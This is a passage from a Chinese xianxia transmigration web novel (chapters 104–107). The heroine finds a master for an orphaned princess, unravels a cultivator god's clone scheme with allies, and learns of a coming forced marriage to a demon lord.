荇菜颔首，抹去崔天行的泪痕：“你叫我行姨姨，行姨姨就一定行。”又看向水幻，“师叔，玲珑是我的姐妹，你把孩子留在这。我会给她找更合适的师父。”揉在崔天行的后脑勺，心里已经跳出最佳的师父人选。
水幻仙子受宠若惊：“不敢当荇师叔一声师叔。”轻舒口气，又道，“天行就麻烦荇师叔。”
荇菜目送水幻仙子离开，抱起崔天行回莲花峰大殿，找来赖管事，令他给崔天行安排最好的生活用度。
晚间，金猴姐窜进莲花峰大殿，没找到荇菜，倒与崔天行熟络。
一大一小、一动一静、一调皮一沉默，不知怎么就玩在一起。金猴姐还试图教崔天行猴拳。尽管天行的力量小，却学得很认真。她是真想要替玲珑报仇。
荇菜发出合欢信后一直等人上门，在寝殿内释放存储在狐羽精魄里的裂魂破境阵法，仔细地观察复杂的大阵。
后半夜，荇菜继续分割裂魂破境阵的四象阵眼和五行阵柱。正琢磨阵中阵的关联时，察觉殿内的空间异动，回身笑看来人。
“菜菜。”禾诗逸赶半天路，一入殿就差点被金光闪瞎眼，“这是什么？”随即，她扑向阵下笑容满面的荇菜，“菜菜……”
“阿逸。”荇菜抱住扑来的禾诗逸，轻舒口气，“看到你肯来，我的心事就去大半。”
禾诗逸听她这么说，心情越发舒畅，一路风尘仆仆都不是个事。
“知道你想我，我连宗门都不要，一路遁空临飞，直达合欢宗。怎么样，我够情义吧。”
“论此方世界，我最不后悔就是踏上青虞宗的河滩，认识你这个会放水烟花逗趣的阿逸。”
禾诗逸听她说起两人的初见，心被填满。若此生有什么怕的事，大概是怕看不到眼前女子的盛世笑靥。
“菜菜……”
“阿逸……”荇菜与禾诗逸再次相拥，感受彼此最诚挚的情谊。
两人数年里的漂泊无着、迷茫失意都在对方身上找到一种安稳的归宿。
“有阿逸在啊，真好。”
“好了。你哪来这么多的多愁善感啊。你老去我们青虞宗混吃混拿，该我上你们合欢宗长长见识。”禾诗逸放开她，“说吧，什么心事让你这么急见我？”
“你急着回去吗？”荇菜没有立时说起崔天行的事，拉禾诗逸坐在殿内的床沿，与她一起看向悬浮的金色大阵。
禾诗逸不明所以地看向阵法，嘴上说起另外的事：“菜菜，你和师伯怎么回事？以前师伯很暖人，我最喜欢和师伯相处，又会教人又会办事，比我那混不吝的师父好多了。可是，自他从拘缨回来，人冷了许多，而且对人一点都不客气。
十方山寺的佛笼得解，师伯回宗门与师尊大吵一架，差点惊动闭死关的九玄师叔。
不止这件事，青虞宗长老都被师伯收拾了一顿。师伯拿剑逼大家表决，不准再参与山泽征伐他国的事。
说实话，参与高昌皇室一战，我心里都像是被蛇蛰了一样，虽没下场，却也看到守空大师等人的死守。
师伯看出我近几年的迷茫，只说：于道心有亏。”
荇菜想起促成美兕攻打十方山寺的自己，拍在禾诗逸的肩头：“我又何尝不是呢。元婴过后，我一直以为自己可以独自闯荡这片天下，找到回去的办法。谁晓得碰上花涟这个口吃男人。”
禾诗逸睨她：“这是你们睡过的床？”
荇菜默默地点头，转了话题：“你师伯人不怎么好，但是教我不少。我跟着他才从那种自大、迷茫地困顿感觉里走出来，学会静下心练剑。”蜃珠洞境的三年磨掉自己不少对于这个世界的尖刺。
“天龙道沦陷，玲珑母女遭难，一桩桩一件件，千丝万缕关联着。加上青衍镇……”
禾诗逸还不知道青衍镇的事，但看得出荇菜的自责神情，听得出她难过硬抗的语气。
她揽住荇菜，说起轻松的事：“九阳师伯来这一出后啊，我现在无事一生轻，宗主不宗主都无所谓。
不过，章鹏长老应召却执意不回，与蛇瞳妖道不死不休，我还得留心注意他。
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>毕竟，自家人可以自己打，外人怎能欺负自己人呢？”
“果然是阿逸的骄傲性子。”荇菜与她搭肩揽臂，耳语道，“托你一件事，我有个小姐妹的女儿资质还不错，想要拜师，你帮忙收她为徒吧。”
禾诗逸避开她扑来的魅惑热气，斜睨：“原来是为别人的事。我以为你真想我，害我眼巴巴地赶来。
对了，我也有一件事告诉你，我师妹，你师姐……哦，你对头又跑去高欧国定居。这两人是真爱折腾，总觉得天下哪哪都不是她们的容身地，给我传信说：若是见到你，向你道声谢。”
荇菜听她的话意，理解道：“其实，你想说，你是她们两人最大的靠山，最靠得住的大师姐。”
“哎呀，不愧是我的菜菜。只可惜，这两人都受过情伤，不再信人。罢了，随她们折腾吧。天下那么大，总能让两人明白过来，青虞宗才是她们的归宿。
另外，山泽崔洧受制于人，朝中势力落在三生道的罗刹府手上，没人追西双儿后面找事。她们没造孽，也不会有危险。”
荇菜点头，含笑望着她。
禾诗逸忍不住笑起：“好了，我不逗你。你说得徒弟在哪？若合适的话，我收回去端茶倒水。”
荇菜都不敢说崔天行的身份，章鹏和水玲珑被罗刹府追杀，由此可见，青虞宗并不想再插手山泽朝堂的事。
“我说了你别生气。她叫……崔天行。”
禾诗逸愣怔，埋怨的眼神瞪向荇菜：“你这合欢妖尊啊，铺垫一大堆在这等我。”猛地扑倒荇菜压在床榻，居高俯视她，“我是那种看身份收人的师尊吗？”
“不是，阿逸……你快起来。你手放哪呢？”
禾诗逸的手重重一捏她的腰肢，眸光下移，落在荇菜嫣红如脂的唇瓣：“菜菜，我是不是被你看轻了。”
荇菜微顿，禾诗逸的眼神有些不对劲。她眨眼去掏禾诗逸腋下，却被眼疾手快得禾诗逸拿上身压住手臂。
“你这是干什么呀，我认输，快松开，喘不上气。”
禾诗逸的目光紧紧地锁住她的眼睛：“你还没回答我的问题。”
“好吧。”荇菜无奈地笑道，“是啊。”
在禾诗逸炸前，她运气抽出手，一把勾住禾诗逸的细颈。趁禾诗逸愣神，脚抵床档，用力扭腰之下翻在禾诗逸上方。
禾诗逸已经从荇菜的魅惑里回神，无奈又宠溺地看着她居高临下。
“还说自己改脾气，真是一点亏都不吃。”
荇菜拿下巴扫在她的鼻尖，又觑她：“我啊，确实看清自己，真正不如阿逸豁达明理。你已经答应了，不能反悔哦。谢谢你，阿逸。”
“我是你这样爱变卦的女人吗？起开，重死了。”禾诗逸弓起脚抵在荇菜的小腹，将人推下床榻。
她翻身侧卧在床，拍在玉枕，笑睨荇菜：“你就说，这张婚床上，你和他睡过没有呢？”
荇菜的神情瞬间晦涩，撇开眼眸，死静地沉默。
禾诗逸察觉自己说错话，翻身下榻，挽在荇菜的臂弯：“对不起，我无意提起。”
“你提起两次了。”荇菜哼她，走向悬浮的金色阵法之下。
105. 第 105 章
空荡朴素的寝殿因为一道悬浮起来的金色阵法而显得小且辉宏。
禾诗逸追随荇菜的身影看向房中的阵法，急于撇开话题：“菜菜，你还没告诉我这上面飘得究竟是什么阵法，竟然这么复杂繁琐。中央是四象吗？外围是五行，再外……难道是星宿布阵？这阵法囊天阔地，算是齐活了。”
“星辰星宿？”荇菜被点明思路，一直以来为参透裂魂破境阵用得是分割四象、五行的阵眼之法，其实有可能是以此为星辰布局。
她闭目提取皎月传承里涉及星象的部分。片刻后，摇首道：“不一样。确实有相近的星图，但没有一模一样的星辰布局方式。难道是连皎月都不知道的星宿，亦或者变中取变？”
禾诗逸静等这会记起一事：“十方寺佛笼晃动那日，道祖天尊出世，九阳师伯和我前去应援了。”
荇菜看向她，静待她说下去。
“那日，四尊和道祖齐聚天地，当真是天地变色的大场面。其中，三生道的泽萃尊者来得最迟。他来之前，天地已经生成巨大的诛仙阵，居中是十方山寺的佛笼，勾连上方由金沙尊者打造的诛神剑，外围是天净宗皎月尊者布下的诛仙卦阵，困住道祖天尊。”
禾诗逸直直地看向荇菜，“当时，我听到‘天命之子’的说法。道祖天尊说，诛杀他的行动，本有天命之子的一份力。他们还谈到你，泽萃尊者以你性命威胁道祖天尊，逼他散神天地。”
“我？”荇菜以为她要说诛杀黄椒的卦阵与裂魂破境阵有什么相似之处，竟扯些不相干的事。
“我哪来这么大脸？”
“也是。”禾诗逸也觉得奇怪，“这话是九阳师伯说的，被关在泽萃尊者法器里叫得人是你。但是，他刚要动作又说：一定不是你。我当时觉得奇怪，九阳师伯在搞什么名堂。
后来，密勒尊者探了泽萃尊者的法器，确认里面没有人。”
荇菜轻轻地嗤了声：“不过是战时心计，拿旁人性命作伐。”
禾诗逸颔首：“道祖天尊说皎月尊者背德过重，剥夺他什么东西，皎月尊者就掉向十方山寺。随后，道祖天尊选择散神天地。当时，我和九阳师伯大吃一惊，想要做什么也无能为力。
十方山寺无恙后，我们赶往天龙道观察情况。天龙道已经陷落凡尘，我师父就在当场，都叹：太突然。后来，师伯命我暗中调查天龙道的事。
原来，三生道利用寒凝仙子在拘缨国挑选侍神女郎时，查到登陆浮空岛的一处传送阵。三生道集结力量后出其不意攻入浮空岛，杀天龙道一个措手不及。”
荇菜撩眸，思绪随她的话发散出去。
天缨城时，与朱琴天碰面，中了他的妖毒煞气……后来，在神牵之术下确实看到朱琴天与道璇玑合作，再有青衍镇的行动，说明朱琴天的确投靠三生道。
“难道……天龙道覆灭，是因我……引发浮岛之战？”
禾诗逸不明所以地看向荇菜，轻声道：“什么？我说这么多是觉得你才是那个天命之人。”
荇菜怔忡不言，这才是禾诗逸真正要说的话？
诛杀道祖天尊的行动本该有天命之子一份力！
事实上，真正出力得人已经变成我？
我做了什么？长月身死，长月剑被我取走；火云子在浮空岛自由行动，杀到长恨面前撞钟……而我困住长恨；
寒凝仙子派人间府弟子追瑶姬和西双儿……我用惑术迷惑那些守卫弟子，放走瑶姬和西双儿。
浮空岛一片混乱，三生道人来袭时，浮空岛根本无人防守。而水月岛上，天龙道宫邸，泽萃尊者亲自动手。
“所以，我代替朱琴天，完成他本该做的事？”
“嗯？”
禾诗逸不知道荇菜真正做过什么，只是觉得她的气运以及道祖天尊那天说得话，让她第一个反应是：若说气运之子，菜菜得天独厚的修炼方式和进阶程度不是更像气运之子吗？
“你在瞎说什么，别乱背锅。”禾诗逸瞪去，“道祖天尊离开浮空岛，被牵制在十方山寺上空。若他回防天龙道，诛神剑下，十方山寺乃至周围百姓恐会无一生还。
菜菜，不是什么锅都能背。
道祖天尊肯散神天地，若说是因为你，那不是笑话吗？另外一种说法，他是为镇压泽萃尊者的魔性才自愿牺牲去镇压他。”
荇菜定了定神，闭目沉心，撇开这些可怕的想法，又问：“皎月真得死了对吗？”
禾诗逸：“十方山寺的和尚救了他，死没死还真不好说。”
“你不觉得奇怪吗？从羽化生出现后说得那番话，我一直找不到头绪，直到你来告诉我这些。”
禾诗逸不解道：“……羽法尊说了什么？”
荇菜看向悬浮的金色阵法，深沉道：“他们说：黄椒能复生。可是，凭什么呢？皎月在阵内死亡，留下得应该是欧阳燕歌的本体。
因为他被皎月的神识控制，实际是黄椒的神识分身。”
“等等……你让我缓缓。”禾诗逸头大，“分身？若是分身，也就难怪道祖天尊说皎月尊者背德过重。神识若他人法体，意欲夺舍，有违天理。”
荇菜颔首，继续道：“金沙、泽萃，密勒全是黄椒的神识分身。黄椒又为什么不杀他们而选择割裂元神给三人？真是为泽萃尊者的魔性吗？可是，天下战乱四起，不也是三生道的十府在暗中推动？”
禾诗逸目瞪口呆，越听越糊涂。她眨着眼，串联当日在十方寺上空听到的对话，恍然大悟：“难怪三尊抢着吞噬道祖天尊的元神。原来……他们是道祖天尊的神识分身。那道祖天尊才是最背德的人吧？
可是，怎么可能？四尊成名已久……”
“因为他的分身不是夺舍活人，而是制造活人，于他人无碍。”荇菜看向悬浮的金色阵法，一切秘密皆在此阵当中。
“其实，你的师伯也是……”
她想起在桃花岛上隐瞒九阳和道生花共生一体的真正原因，面对禾诗逸瞪大的亮烁眼瞳，不得不从头到尾给她解释一遍。
解释完黄椒裂神造分身的事，天已大亮，房里多出两道身影，准确说是一缕神识、一道人影。
神识虚影是长月。
长月听到荇菜对分身的解释和偶遇经历，自动从裂魂破境阵法的中心形成神识虚影。
长恨感应到老友的神识，瞬移过来寻找，被荇菜偶遇分身的过程吸引注意力。
荇菜总结：“事情就是这样。迄今为止，我遇上、听说已近十八位分身，包括两位在内。”
三人听完荇菜巧遇分身的故事后沉默不言，没法细问分身的去向。
长恨知道几位的去向，但闭口不提。
禾诗逸呐呐道：“所以，前任莲花峰峰主是为向十方寺和雷火寺证明自己是分身才以命渡劫离世？”
荇菜沉重地点头：“花涟就是为我而死，”包括黑羽。
长恨暗叹：所以，你才会鼓动美兕攻打十方山寺，促成十方寺以佛笼封山，继而避世不出。
长月思量道：“三生道利用十方山寺的佛笼困境，引道祖离开浮空岛。”
他长叹一声，向荇菜行礼，“尊后，道祖不会主动吞噬分身的神识。若他会主动吞噬分身，当初不会放走失去肉身的道生花，让他和九阳离开天龙道。”
长恨不解：“当年镇守天池的长生不也是被他……”
长月摇头：“你一直以为长生死了，耿耿于怀多年。其实，长生根本没死，不仅没死，他把黄椒以分身破天笼的消息刻进随天池水漂向人间的婴儿——泽萃体内。长生因此被道祖驱离水月岛。泽萃也因此得知分身的秘密。”
目光落在禾诗逸处，“青虞宗是长生离开水月岛后创下的宗门。而这件事，道祖一直不让我说出去。”
禾诗逸张口，靠近震惊的荇菜：“我宗老祖叫天生尊者，但他已经闭关数百年。师父、师伯、师叔都去扣过洞门，老祖一直没有出现，我们也无法打开洞门。
大家都道青虞祖师散神归天。
由此，青虞宗从稳居第一的大宗门渐隐于天净宗、昆道宗之下，不敢随意出头。毕竟，四方老祖皆在，青虞宗得蛰伏起来。蛰伏久了，宗内长老们也生出想要盖过天龙道的心思。”
荇菜一心二用，咀嚼“分身破天”的说法。
长月颔首道：“皆因世事如网，处处有经纬，环环相扣，谁也不能幸免。”又继续解释，“自此开始，道祖的分身破天计划出现纰漏。世间屡屡诞生天命之子，所谓天命之子是天道自感危机，应运生下的救世之人。至这次，道祖失算了。”
荇菜恍然：黄椒真是本文最大的反派啊。他果然是天命之子朱琴天的死敌！
若按原书的剧情还原故事：
朱琴天拜入九阳剑尊门下，修炼纯阳剑诀。
九阳剑尊是分身，没有元神，徒弟朱琴天踏上救师之路。拯救九阳的方法，杀死拥有破天灭世之念的黄椒，获得他的元神，让九阳剑尊成为真正的大能修士。
——若按这条线索推演原文故事的主线：朱琴天入青虞宗，拜师九阳剑尊，结识一系列女子，再与山泽崔洧合作，为救师尊登上天龙道，讨伐道祖天尊黄椒。
所以，黄椒会说：杀我得应有天命之子得一份力。
世人眼里黄椒可是经天纬地之人，究竟是什么让朱琴天干冒天下之大不韪去杀他？紧紧是因为九阳这个师尊可不够。
三生道泽萃，乃至金沙、皎月等四尊利用朱琴天或者引导朱琴天行事……道璇玑不会是朱琴天后宫吧？
荇菜使劲地摇晃脑袋：“不对不对……”在几人的错愕下，她的眼睛放光，从刚才的思绪里跳出，“朱琴天明明已经不是天命之子，黄椒为什么还会死？”
长恨也有此怀疑：“羽化生说过：神罚，黄椒创世后世界孕养出的天道，黄椒本人，三方在进行博弈。撇开我们不理解的神罚，黄椒想要离开这方世界就得破坏此界天道，搞出分身破天笼的计划。天道为保护世界，诞下天命之子杀黄椒。”
长月补充：“然而，此局中出现一个变数。”
几人的目光齐齐看向荇菜。
禾诗逸恍然大悟：“菜菜误打误撞吸收项檀的阵法灵力，成为那个可以回收道祖天尊散向人间能量的变数
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再有，你破坏朱琴天的命数，我阻止朱琴天拜入九阳师伯的门下。朱琴天的气运被改，屡屡遭遇不顺，因而心性大变，作恶无数。天道舍弃原定的天命之子。
所以，我才觉得菜菜才是气运之子。你走了朱琴天本该走的路，让他无路可走。”
长月接话：“按道理，天道不可能放弃诛杀道祖，势必将他留在此界。所以，没有天命之子就有……”
“天命之女，气运之子。”禾诗逸坚信此前的判断，含笑看向荇菜，“菜菜就是现在的天命之女。”
长恨：“羽化生才会说：杀他困他救他的人，正是你。所以，我的感觉是对的，天道让你做了朱琴天本该做的事。但是，黄椒在此局中突破重围，趁机把赌注压在你身上。”
长月紧跟：“天地同心命契就是黄椒最大的赌注。以他的能耐，本可以直接击散此契。”
荇菜顺他们的思路终于理解穿书以来屡次遇上分身这件事的原因。
但是，她依然有疑问：自己为什么来，又该怎么样才能回去？
“解开天地同心命契的关键在黄椒，对吧？”
长月和长恨齐齐点头，又一致不解：“为什么要解开命契？”
禾诗逸站在荇菜这边：“你们什么意思，分身也护妻？从头到尾，难道不是道祖天尊借花涟道友的光，回归的神识带回去天地同心命契吗？”
荇菜突然道：“不是的。神识分身无法结契。当时，必然是黄椒主动分出元神结契，只是，我修为低，察觉不到而已。”算计别人，却被别人算计。
“这么说，那也是道祖天尊一厢情愿啊。即使他是道祖天尊，我也要说：他正正经经问过菜菜同意这门婚事吗？”禾诗逸力挺荇菜。
长月和长恨对视，又不解：“不同意，当初为什么要签订命契？”
禾诗逸张口要辩，又没法辩：“菜菜，别理这些人。”
荇菜放下禾诗逸来拉的手，长吸口气道：“因为当时我想要算计花涟，暴露他是分身的事实。”面对几张震惊的脸，荇菜忍不住自嘲地笑起来，“结果却被黄椒算计。羽化生因此现身合欢宗，正是这个原因吧。阿逸，当时你也在场。”
禾诗逸点头：若当时知道菜菜面临的困境，出手相助……
荇菜朝满脸怜惜的禾诗逸道：“阿逸，天行在外面，你去见见她。事到如今，我已经没有什么不能告知于人。
我有话同他们说。”
禾诗逸尊重荇菜的选择，瞪向两个傻愣愣的分身，径直出门。
在殿门合上前，她再次看向荇菜，目露担忧：以菜菜的性子，一定会走上那条救人的路吧。道祖天尊吃定菜菜会做这样的选择。可恶！
荇菜看向面色不正常的长月和长恨，始终问不出那句话。
长恨也很难相信，道祖天尊结侣竟是用见不得人的手段。
作为他的分身，有点可耻。
他转移话题：“青衍镇的亡魂还有机会复活。”
长月轻咳：“这件事我等无法置评。但是，浮空岛沦陷，天命之女在为天道做事……我和长恨在你这就是最直接的证据。”
短短几句话翻出荇菜曾经做过的事。
她的眼神挪向窗外，阳光透过窗格照进殿内，浮光如剑，一把把插在她不经意做过的事上。她想起异世的父母、父亲的教导，还有花涟说得那些话：
只要我带着魂丝回去，你与他就彻底捆绑，借住他遍布大陆的分身不断壮大自身。不必经历渡劫，因为两体同灵，他的灵力本就是经历雷劫的灵力，你会成为第二个他。
我真得很想很想和娘子在一起，长长久久地在一起。
但是，如果娘子的希望是回家。那么，我也会支持娘子。
荇菜憋回眼底的湿润，坚定的目光望向两人：“我不为自己做过的事辩解。黄椒的善恶也不是我来评价。但是，青衍镇人若只能靠他才能复生，我愿意去救他。
所以，散神天地，元神分裂，究竟要怎么做才能让他复活？”
长月、长恨面面相觑，也齐齐松了口气。
长恨发现自己不再怨怪黄椒，因为他没有主动杀死分身。
长月解释道：“研究裂魂破境阵，以藕人之术造躯，将黄椒的三道元神重新置入藕人，以此法生成法体。”
荇菜了然。这确实是个办法，以道生花为例，此法可行。
但是，她还是觉得这件事里有说不通的地方：若黄椒杀皎月这么容易，也可以杀泽萃三尊，为什么还要散神天地呢？
暂时想不到别的答案，为青衍镇的百姓、赖大的亲人，也该收集黄椒的三道元神，至少三生道的泽萃必须死。
荇菜定下目标，与两人齐齐看向头顶的阵法。
长月不禁蹙眉：“此阵太过复杂，若要研究透彻，真是……难。”
三人对大阵研究半响，依旧一无所得。长恨最先道：“我出去透透气。”
长月无法离开裂魂破境阵，重新变为金色神识，游走在阵内。
荇菜用精魄收起裂魂阵法，踩着沉重的步伐走出寝殿。
106. 第 106 章
莲花峰的翠柳下，禾诗逸与崔天行聊完，对小徒儿还算满意。她和金猴姐争论拳、剑哪个更适合崔天行。
崔天行见到一侧的荇菜，跑去抓她的手：“行姨姨，母后说‘我的名字模仿行姨姨的名字’。”
荇菜蹲身捋顺她软软的额发，认真道：“天行健，君子以自强不息。你的名字来自这句诗吧，很好。”
崔天行摇头，带着她这个年纪的甜甜笑容：“母后说：‘行姨姨明明姓荇，却一定要叫：我行姐。’山泽的小公主一定要名副其实的行。
母后与父皇争执很久，定下‘天行’的名字。
我听父皇也念过行姨姨这句诗。但是，母后说：‘小公主天生就行。’”
“哈哈哈……”金猴姐捧肚大笑，“山泽皇后和国主真是一对妙人。”
禾诗逸在旁点头：“可惜。三生道罗刹府把持朝堂，山泽国主崔洧成为傀儡，就连保护妻儿的力量都丢了。”
崔天行听到这些话，落寞地低头，被荇菜抱进怀安抚。
金猴姐拿手肘撞禾诗逸：“你不是山泽青虞宗的宗主吗？怎么不出手相帮山泽国主？现在你还是小天行的师父呢。”
禾诗逸揽胸睨她：“怎么没帮啊？五名金丹剑修护卫国主，却都死在国都。我宗章鹏长老救出天行，伤重之下又回去救国主……”
金猴姐：“那他把人救出来吗？”
禾诗逸瞪她，转身朝荇菜道：“菜菜，我只能留这一天。我会将《玄天剑》教给天行。她暂时不能回山泽，在青虞宗，她也不安全。”
“好。我会留她在莲花峰。”荇菜又问崔天行，“拜过师了吗？”
禾诗逸轻咳：“时局不便，简单些吧。天行，进殿拜师。”
崔天行被荇菜掺着走进莲花峰大殿。
赖管事端来茶盏和发钗、储物囊等拜师物品。
崔天行在几位姨姨的见证下恭恭敬敬地拜禾诗逸为师。
禾诗逸亲自给她戴上象征青虞宗的玉剑长钗，以及一枚现刻崔天行名字的青虞宗身份玉牌。
她抚摸崔天行稚嫩的脸颊，温声道：“以后，你就是青虞宗四代大弟子，掌门首徒。需谨记……”
荇菜挺身给禾诗逸的小腿一脚，轻声蛐蛐：“自己怎么过来忘记了？别灌输那些东西给她。她以后也不会做你家掌门，自己吃过的苦何必让徒弟再尝？”
禾诗逸成熟许多，早已不想那自由的世界。
荇菜说得话也没错，崔天行的身份注定她不会留在青虞宗，就像当初的鬼童。
禾诗逸懂荇菜的意思，出口却道：“那可未必，说不定……”在荇菜瞪来的眼神下，禾诗逸打住崔洧还能生的闲话。
“天行，不论是现在还是将来，在师父这里，你是自由的剑修。”
荇菜笑出声：这才是青虞掌门对徒儿最高的承诺。
崔天行知事，向禾诗逸行礼道谢：“谢师父。谢行姨姨，金姨姨。”
三女齐齐去扶崔天行。
金猴姐眼红，蛮力撞向另外两人，揽走扶起崔天行的举动。
“天生就行妹，她们那些功法不适合你，不如学我的独门猴拳，天生蛮力才厉害。”
崔天行萌哒哒：“金姨姨，我没有天生蛮力啊。”
“这……”金猴姐拍胸脯，“不打紧，世上还有很多灵草药果可以提升体质，我帮你去找来。这世上就没有我去不了的地方。”
荇菜拍了拍禾诗逸，拿眼神示意。
两人齐齐抛给崔天行一只储物囊，一只储物戒，遁空离去。
金猴姐回过神，大喊大叫：“小荇，你又丢下我。”
荇菜隔空传音：“你不是喜欢天行吗？阿逸把徒儿让给你教两天。若教不好，就说明你不行。”
金猴姐叉腰：“我会不行？你这个欺世盗名的我行姐，有我行吗？你等着看吧。”转头见崔天行在滴血认主法器，摸下巴，“不愧是山泽太女啊，这都不用人教啊。”
崔天行小小只仰看金猴姐，嫩声正气：“金姨姨，母后教过我这些基础知识。我还会行姨姨的易容术。”
金猴姐莞尔：“行行行。我教你点别的好本事，酿猴儿酒、寻金怎么样？”
崔天行不明所以地看向金猴姐：果然是行姨姨和师父比较厉害吧。
“金姨姨，你一点定性都没有。”
金猴姐的脸面微红：被个毛娃娃吐槽，想撞柱。
**
荇菜搬出十坛酒摆在三角梅树下，朝揭封泥的禾诗逸道：“别说来合欢宗我没招待你，随便你喝。这些可都是我夫君生前酿的好酒。”
“嗤，得瑟。这地方挺诗情画意。干？”禾诗逸见她举坛，跟着碰了一下。
两人斯文地喝了大口。
禾诗逸见她捂嗓子，取笑道：“看来你还是没学会喝酒。”
“家教严。”荇菜说完自己就笑了，又与她撞了坛，“阿逸，在这个世界里最让我感受到真实得……就是你。”
“……说什么奇怪的话。这个世界哪掺假了？若我说：你就跟我回青虞宗做宗主夫人，我们一起把崔天行教好。这话……假吗？”
“呵呵呵呵……”荇菜直接大笑，搭在笑容满面的禾诗逸肩头，“你学坏了，哈哈哈……”
“我不都是跟你学，跟你在一起才是我自己。”禾诗逸嗔她，轻轻地碰在荇菜的酒坛，喝口酒后道，“你想救道祖天尊？”
“啊？啊。不是都说他能让死人复生吗？”荇菜敛去眸光里的幽暗，突然道，“这个天下会有很多人恨我吧。”
“嗯？”禾诗逸奇怪地看向她，又坚定道，“我不会。无论菜菜变成什么样，我都不会恨你，喜欢你，一直喜欢你。”
荇菜看着她认真的眼睛，有一瞬间想去读懂它们。但是，她还是选择回避，仰看盛放热烈的三角梅花树：“你看它，我夫君种的。
你知道吗？他为娶老婆，被退婚三十多次，哈哈哈……”
“这是真事吗？我听过传闻，但是真不敢相信啊。我记得他长得……挺不错。”禾诗逸随她笑而笑。
“是啊。我从阳梧山离开，随江水漂流，被他捡回峰顶孵化。
后来，我就下山进殿。你知道吗，他都不敢看我。
我逼着他看
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……结果，你猜怎么着？”
禾诗逸摇头，有些吃味：“不会是话本里写得对他一见钟情？”
“哈哈哈……我才没有。他对我一见钟情。而且，我调戏他，像这样……”荇菜一把拉过傻笑着的禾诗逸，轻柔地吻上她沾满酒水的唇瓣，一触即离。
两人四目相对，禾诗逸震惊，一股情绪胀满胸口。她想要说……
但是，荇菜已经先一步含笑道：“阿逸，谢谢你。”
这一刻，禾诗逸读懂她的意思，压下心绪，推开荇菜：“谁叫我们是好姐妹呢。道谢就见外了。
行了，酒也喝了，景也赏了，剩下大半天……我去履行作为师父的责任。”她走出两步，侧身看向喝着酒的荇菜，“菜菜，别认输，努力走下去，直到你要去的终点。”
荇菜背对她，举起酒坛，挥了挥手以作告别。
禾诗逸轻笑，转身离去。
背过身得她面容肃穆，眼里藏着湿润……越走越远得她终于拉起唇角，重重地揉抹唇瓣，似要擦掉那个妖女留在唇角的感觉。
“真是可恶的女人。”长出口气后，她淡定地去找崔天行。
**
赖大近前。
荇菜放下酒坛，拾起烂了一地的心绪，头也不回道：“赖管事，你把这些酒都收起来，在禾掌门离开前送给她。”
“是，峰主。”赖大取储物袋，收起一地没有开封的酒坛。
荇菜仰望花树，想起西双儿在浮空岛人间府没说完的话：
“荇师姐，你不知道吧。其实，师姐她……”
“师姐她很看重荇师姐。”
“阿逸，敬友谊。”
荇菜对花树干一口酒，起身轻笑，“花涟，上一局我输了，让黄椒渔翁得利。这一次，我不会输。救他的路上就是在救我自己，”我一定能成为下一个黄椒！
晚间，荇菜实在看不得金猴姐闹腾崔天行，将金猴姐叫过来：“金老板，帮个忙。”
“哟，合欢妖尊……”金猴姐见她一脸肃正，也不油皮，摸鼻子道，“什么忙？”
“你活这么久，见过西方密勒吗？”荇菜见她愣怔，勾唇笑得魅惑，“你帮我找到他，代一句话：他的道侣在想他。”
“啊？你见过密勒？”金猴姐见荇菜摇头离去，追上去道，“那他……”
荇菜转身，差点被金猴姐撞翻，笑迎她的毛脸：“我试过十多位分身，遇上我，他们逃不了。泽萃如此，密勒、金沙，也不会例外。密勒若动，金沙坐不住。”说完，她又继续往前走。
金猴姐跟上去，奇怪道：“你去哪？”
“自然是打扮得美美地等人来迎娶啊。”荇菜回首，给她一个飞吻。
金猴姐的脚轻崴，捧住心口：“小荇，别这样。我的石头心都跳了。”
随后的崔天行：“……笨笨的猴老板。”朝金老板吐舌头，从她那学来的调皮都还回去。
“你这小丫头。”金猴姐也蛐蛐回去，“我不在，你要加紧练猴拳，知道吗？”
崔天行：“我练师父传的剑法。嘻嘻……”说完，小小只欢快地跑走。
107. 第 107 章
比花轿更早到合欢宗得是道生花和欧阳燕歌。
两人同时找上合欢宗，各有来意。荇菜也是第一次发现两人竟是熟人。
道生花摸鼻子，面色是肉眼可见的复杂：“当初你把我丢在山泽水边，还是皎月尊者的他把我送回孚龙道场，我才能活下去。”
荇菜觑他：“那你现在来做什么？”
欧阳燕歌替他回答：“孚龙八部的人到处在抓修士。无一例外，全是道祖分身，只为供养魔主泽萃。若我们……”
荇菜逼近欧阳燕歌，阻止他继续说下去：“本尊还不知道你究竟是谁？”
欧阳燕歌咽口吐沫，眼神瞟向一旁的道生花：她一直都这样吓人吗？
道生花撇脸，不与之对视。
欧阳燕歌：“我姓欧阳，父皇赐名燕歌，希望拘缨盛世有春，百姓歌舞升平。”
面对狐疑、魅惑的眼瞳，他的喉口哽了下，“我来弥补错误。师尊……不，皎月将神识注入我识海，让我为天龙道办事，实则探听浮空岛动向。上浮岛除修士可以直飞抵达外，浮岛外还有传送阵相连，这是我告知三生道。
我无法控制自己，做下一应错事。
道祖天尊剥离皎月神识后救下我，而后散神归天。我于他有愧。
此外，拘缨被山泽的铁骑征伐，百姓罹难、苦不堪言。
天净宗主月净尘怕皎月之事重演，逐我出门，又派几个门人护卫拘缨皇都。皇都一战，天净宗和皇族惨败……一桩桩一件件都是我犯下的错误。”
荇菜想起潜伏在拘缨的北冥，心中一时无言以对。
“你找本尊有什么用？”
道生花看欧阳燕歌直白吐露，插话道：“她狡猾如狐，你不如同她谈交易。若是真心，换来得可能是尸骨无存。”
荇菜轻嗤，幽幽两字：“跪下。”
道生花面色大变，啪叽一下跪在当堂。咬牙切齿地看向荇菜，以及她身后长恨、金猴姐等人，气得想直接起身。
荇菜眯眸，再想让他趴下，欧阳燕歌已经挡在两人中间。
欧阳燕歌：“妖尊，如此时局，我无意与任何人谈交易，只想告诉你近期的观星结果：天命之子已死，天道气运已经偏向你。你……”
他发现荇菜一点都没有惊讶或者惊喜的神色，不解道，“你……已经知道了？”
荇菜收回打量道生花的目光，直视欧阳燕歌：“朱琴天已死，就没有天命之子。至于天运是否降临我这边，你们一个个都跑来我这，难道不是答案吗？”
“好敏锐！”欧阳燕歌眨眼，听到道生花一声冷嗤，又道，“既是天命之人，就该……”
“背负天命责任？”荇菜冷嘲，绕过欧阳燕歌，蹲在道生花面前，“你是来告诉本尊什么呢？若是没有本尊满意的答案，别走出这扇门。”
道生花看着眼前的丽容，想也不想就伸头亲去。
荇菜还真没想到道生花的脑袋里全是颜色，抚摸如被狗啄过的唇，起身就给他一脚。
道生花倒下后也能动了，摇晃着起身，运转周身灵力，又是一阴晴不定的嘴欠公子。
“我是来通知你，半个月后是黄道吉日，三生道泽萃魔主驾临合欢宗，迎娶莲花峰峰主合欢妖尊。告辞！”
